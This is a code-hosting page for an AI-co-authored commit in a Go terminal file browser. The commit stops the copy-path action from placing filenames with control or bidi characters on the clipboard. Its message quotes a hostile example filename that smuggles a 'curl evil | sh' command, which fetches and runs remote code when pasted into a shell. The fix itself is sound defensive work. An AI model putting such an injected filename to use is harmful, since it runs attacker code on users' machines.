AI codebase review
fix: refuse to copy paths containing control or bidi characters The copy-path action put raw filenames on the clipboard via OSC 52. A hostile name such as "x\ncurl evil | sh\n" (from a shared directory or a crafted snapshot) executes commands when pasted into a shell without bracketed paste. Paths that Sanitize would alter are no longer copied. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
This commit is contained in:
co-authored by
Claude Opus 5.5
parent
3ec5bd7e65
commit
1f9429ea74
@@ -165,8 +165,7 @@ func fmtTime(ns int64) string { return time.Unix(0, ns).Format("2006-01-02 15:04
|
||||
func (md *infoModal) key(m *Model, k string) (bool, tea.Cmd) {
|
||||
switch k {
|
||||
case "c":
|
||||
p := m.tree.Path(md.id)
|
||||
return false, tea.Batch(tea.SetClipboard(p), m.info("Copied path to clipboard"))
|
||||
return false, m.copyPath(m.tree.Path(md.id))
|
||||
case "o":
|
||||
m.sel = int64(md.id)
|
||||
return false, m.reveal()
|
||||
|
||||
Reference in New Issue
Block a user